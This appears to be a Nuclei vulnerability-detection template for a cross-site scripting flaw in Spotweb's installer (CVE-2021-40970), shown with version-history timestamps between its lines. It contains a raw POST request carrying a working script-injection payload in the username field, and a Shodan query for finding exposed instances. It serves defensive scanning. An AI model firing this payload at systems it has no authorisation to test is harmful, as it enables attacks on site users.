2023-06-05 07:03:16 +00:00
id : CVE-2021-40970
info :
2023-06-05 07:27:06 +00:00
name : Spotweb <= 1.5.1 - Cross Site Scripting
2023-06-05 07:03:16 +00:00
author : theamanrawat
severity : medium
description : |
Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the username parameter.
2023-09-06 12:09:01 +00:00
remediation : Fixed in version 1.5.2
2023-06-05 07:03:16 +00:00
reference :
- https://github.com/spotweb/spotweb/
- https://github.com/spotweb/spotweb/issues/711
- https://nvd.nist.gov/vuln/detail/CVE-2021-40970
2023-07-11 19:49:27 +00:00
- https://github.com/spotweb/spotweb
2023-06-05 07:03:16 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2021-40970
cwe-id : CWE-79
2023-10-16 10:55:14 +00:00
epss-score : 0.00152
2023-10-27 16:34:45 +00:00
epss-percentile : 0.51197
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:*
2023-06-05 07:03:16 +00:00
metadata :
verified : "true"
2023-09-06 12:09:01 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : spotweb_project
product : spotweb
2023-09-06 12:09:01 +00:00
shodan-query : title:"SpotWeb - overview"
2023-06-05 07:27:06 +00:00
tags : cve,cve2021,xss,spotweb
2023-06-05 07:03:16 +00:00
http :
- raw :
- |
POST /install.php?page=1 HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
settingsform[username]=pdteam'+onclick='alert(document.domain)
matchers-condition : and
matchers :
- type : word
part : body
words :
- "onclick='alert(document.domain)"
- "Spotweb"
condition : and
- type : word
part : header
words :
- "text/html"
- type : status
status :
- 200
2023-10-27 08:59:57 +00:00
# digest: 4a0a0047304502200f2a6a703e7a4c56a262c6025d169ef73ee4740f0ea9bec07cdd401bbe01180b022100f059fb0ca59750f438a4d21d945036ee2d1636d9ba3cc037aa36d52192ac4bf5:922c64590222798bb761d5b6d8e72950